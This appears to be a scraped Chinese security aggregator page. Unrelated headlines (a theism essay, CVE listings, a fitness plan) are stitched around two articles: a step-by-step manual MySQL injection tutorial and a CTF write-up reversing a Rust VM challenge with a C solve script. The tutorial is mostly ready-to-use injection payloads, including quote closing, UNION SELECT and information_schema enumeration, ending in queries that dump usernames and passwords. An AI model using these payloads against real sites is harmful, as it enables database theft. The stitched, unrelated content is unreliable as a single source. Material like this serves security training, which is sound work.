Aggregator
Сознание против алгоритмов: как теизм примиряет науку и душу
Apache Tomcat条件竞争代码执行漏洞(CVE-2024-50379/CVE-2024-56337)
Cactus
Everest
CVE-2012-3837 | Baby Gekko up to 1.1.3 verification_code cross site scripting (EDB-18827 / BID-53366)
CVE-2011-5148 | Wasen Mod Simplefileupload up to 1.2 mod_simplefileuploadv1.3) php.jpg incomplete blacklist (EDB-18287 / XFDB-72023)
SQL注入de基本注入流程(基础向)
SQL注入de基本注入流程(基础向)
MySQL手工注入的基本步骤以及一些技巧的记录,当出现学习手工注入的时候,网上的文章参差不齐,导致很长一段时间对手工注入的理解一直处于一知半解的状态,特此记录本文,让小白们少走些弯路。本文只针对手工注入小白,大牛绕过轻喷。
步骤 注释或者闭合语句首先看下一个基本的SQL语句查询源码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
下面的步骤默认都是采用这种基本的SQL语句的,其他的注入方法换汤不换药,这里只是想整理下注入的步骤与关键性的语句。
引号闭合语句id =1 ' and '1' ='1
带入进源码中的SQL语句就是:
SELECT * FROM users WHERE id='1 ' and '1' ='1' LIMIT 0,1
注释后面语句常用的注释payload
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
--+ 可以用#替换,url 提交过程中 Url 编码后的#为%23
带入进源码中的SQL语句就是:
SELECT * FROM users WHERE id=''or 1=1--+' LIMIT 0,1
这样可以看出直接把后面的语句都给注释掉了,一般实战用注释比较多。
and 验证当然这里 and 验证和 or 验证都可以,二者区别不大:页面返回正常
?id=1' and 1=1 --+ ?id=1' or 1=2 --+ 页面返回异常 ?id=1' and 1=2 --+ ?id=1' or 1=1 --+如果发现一开始页面先是正常然后是异常的话,说明页面啊存在注入。当然这里是最基本的判断方法,到后面盲注的时候是用延时函数来观察页面的返回时间的。
查询字段数目查询字段数目主要利用MySQL里面的 order by 来判断字段数目,order by一般采用数学中的对半查找来判断具体的字段数目,这样效率会很高,下面假设用 order by 来判断一个未知字段的注入。
?id=1' order by 1 --+ 此时页面正常,继续换更大的数字测试?id=1' order by 10 --+ 此时页面返回错误,更换小的数字测试?id=1' order by 5 --+ 此时页面依然报错,继续缩小数值测试?id=1' order by 3 --+ 此时页面返回正常,更换大的数字测试?id=1' order by 4 --+ 此时页面返回错误,3正常,4错误,说明字段数目就是 3
通过数学的对半查找,确定字段数目。
联合查询UNION SELECT 联合查询,手工注入经典语句,作用是在后面通过UNION把我们的恶意注入语句接上去,带入数据库进行查询。因为字段数目是:3,那么正规的语句如下:
?id=1' UNION SELECT 1,2,3 --+这里页面是不会报错的,此时我们带入数据库的语句为:
SELECT 1,2,3 这段语句没有任何意义,所以页面按返回正常。
但是为了信息收集,我们得知道当前这个页面里面的值,调用的具体是数据库中的哪个字段才可以,可以故意构造一个错误的语句,来爆出错误的字段:
id=-1' UNION SELECT 1,2,3 --+ 通过id=-1 一个负数不存在的id值来触发报错id=1' and 1=2 UNION SELECT 1,2,3 --+ 通过and 1=2 语句来触发报错id=1' or 1=1 UNION SELECT 1,2,3 --+ 通过or 1=1 语句来触发报错
可以看出爆出了具体的字段号了,这里爆出了2和3进MySQL数据库看下这个表的字段结构:
数据库表的结构完美验证了本次爆错出先的数字2和3,这里的数字代表字段,恰巧对应的字段值是:username和password。
收集信息在爆出的字段值里面可以替换为我们的恶意语句,前期主要是收集信息,包括判断当前数据库是否是root用户,MySQL的版本等,一般收集这些信息常用一些MySQL自带的函数去收集信息:MySQL常用的系统函数
version() #MySQL版本 user() #数据库用户名 database() #数据库名 @@datadir #数据库路径 @@version_compile_os #操作系统版本查询当前数据库名
id=1' and 1=2 UNION SELECT 1,database(),3 --+ 查询MySQL版本 id=1' and 1=2 UNION SELECT 1,2,version() --+ 查询数据库用户和路径 id=1' and 1=2 UNION SELECT 1,user(),@@datadir --+查询数据库
查询数据库,一般来说我们注入的时候要查的就是当前的数据库,但有时候root权限就NB了还可以看到网站数据库之外的数据库内容。查询当前数据库
id=1' and 1=2 UNION SELECT 1,2,database() --+这里用到了group_concat函数,由于本篇文章的定位是 手工注入的步骤 这里不在这里进行细化的讲解此类函数的用法。了解相关函数的话参考我的另一篇文章:MySQL 手工注入之常见字符串函数
查询表名 database 查询数据库 id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 单引号-数据库这里的database()函数进行了数据库查询,因为我们已经查到了当前的数据库为security,所有这里还可以酱紫写,用单引号括把数据库的名称括起来'security':
id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ hex编码数据库如果嫌单引号括起来麻烦的话,那么巧了!这里还有一个更麻烦的方法,就是将数据库名进行hex编码处理。使用火狐自带的HackBar插件可以快速的进行hex编码:
hex编码后在前面加上0x表明这里是16进制编码。
目前主流的集中方法大致就是这样,还有一些先hex然后unhex group_concat的写法,据说可以绕waf类的,这里不是很常用就不再赘述了。 同理这些方法放到查询数据库的列名中也是可以使用的,要学会活学活用。
查询列名目前收集到的信息为:
数据库名称: securuty数据库表名: emails,referers,uagents,users
做为一名黑客一定要有敏锐的嗅觉(手动dog),这几个表中 一般我们都会去 继续猜解users表。下面用和查询数据库类似的方法去查询列名,关于原理的话 就是 MySQL下有一个information_schema里面会存所有数据库的一些相关信息:
既然都说到这里了,这里就顺便列举一下MySQL手工注入中,比较关键的information_schema里的信息:
记录关于数据库的信息information_schema 数据库下的 schemata表中的schema_name记录的是各个数据库的名称:
不仅这里记录了在 tables数据库下的table_schema表也记录了各个数据库的名称:
记录关于数据表的信息information_schema 数据库下的 tables表中的table_name记录的是各个数据表的名称:
这里是华丽的分割线,吃惊,一眨眼说不拓展的有忍不住扯了这么多,下面不多说直接来查询users表下的列名
id=1' and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ 查询字段值由于在查询列名那里啰嗦的有点多,核心原理已经写在上面了,这里就简单的写出payload,:
id=1' and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users --+知道了数据库、表名、各个字段名可以直接进行查询了,不需借助information_schanem数据库了。
简短的整理本来是打算前面步骤中规中矩的写的,但还是忍不住写多了。于是又开出一个标题进行简短的整理:
order by --+ 判断字段数目
union select --+ 联合查询收集信息
id=1' and 1=2 UNION SELECT 1,2,database() --+ 查询当前数据库
id=1' and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+查询所有数据库
id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 查询表名
id=1' and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ 查询列名
id=1' and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users --+ 查询字段值
长期居家健身计划
实战逆向RUST语言程序
实战逆向RUST语言程序
实战为主,近日2024年羊城杯出了一道Rust编写的题目,这里将会以此题目为例,演示Rust逆向该如何去做。
题目名称:sedRust_happyVm
题目内容:unhappy rust, happy vm
关于Rust逆向,其实就是看汇编,考验选手的基础逆向能力。在汇编代码面前,任何干扰都会成为摆设。
1、初步分析64为程序,使用IDA 64打开
通过字符串定位分析点
现在我们知道 inputflag的长度大于 0x15
接下来在汇编层面下一个断点,输入假flag,去观察相关寄存器的值
好像并没有什么内容
继续单步 步过,直到发现下一个要注意的地方!
字符串长度:0x28
我们继续单步步过跟踪
开辟空间的时候,说明快到真正函数处理过程了。
2、分析加密流程 2.1 base64分割模块这里简单将 3 字节变成4字节的操作,称之为 base64分割模块
这里举个例子
输入的:"111"->二进制字符串 001100010011000100110001
经过base64分割模块
->001100 010011 000100 110001
发现程序执行完后正好是这样的结果
2.2 组合举个例子:
假如分割之后的4字节为:
0xC、0x13、0x4、0x31那么组合后的字符串
rax = 0xCrcx = 0x1300
edx = 0xB1130C18 2.3 VM处理模块
发现func3 非常乱
并且频繁调用sub_40A800()
发现这是一道VM类型的题,那么VM的题加密应该会很简单,基本是异或之类。
在 sub_40A800 里面找到 异或,下断点
这个al每经过两次就是秘钥
解题脚本 int main() {//提取的密文
unsigned char s1[] = { 0x00,0x82,0x11,0x92,0xa8,0x39,0x82,0x28,0x9a,0x61,0x58,0x8b,0xa2,0x43,0x68,0x89,0x4,0x8f,0xb0,0x43,0x49,0x3a,0x18,0x39,0x72,0xc,0xba,0x76,0x98,0x13,0x8b,0x46,0x33,0x2b,0x25,0xa2,0x8b,0x27,0xb7,0x61,0x7c,0x3f,0x58 };
//提取的秘钥
unsigned char s2[] = { 0x18,0xb1,0x9,0xa4,0xa6,0x2a,0x9e,0x1b,0x96,0x57,0x5d,0xad,0xae,0x75,0x65,0xac,0x9,0x8c,0xa0,0x76,0x47,0x2c,0x10,0x1,0x7c,0xf,0xba,0x47,0x95,0x30,0x9b,0x74,0x3f,0x2d,0x2d,0x9a,0x87,0x31,0xba,0x43,0x70,0x2c,0x4c };
unsigned char s3[128] = { 0 };
for (int i = 0; i < 43; i++) {
s3[i] = s1[i] ^ s2[i];
}
//还原base64分割模块
char s4[128] = { 0 };
int j = 0;
for (int i = 0; i < 44; i += 4, j += 3) {
s4[j] = (s3[i] << 2) | (s3[i + 1] >> 4);
s4[j+1] = (s3[i+1] << 4) | (s3[i + 2] >> 2);
s4[j+2] = (s3[i+2] << 6) | s3[i + 3];
}
printf("%s", s4);
return 0;
}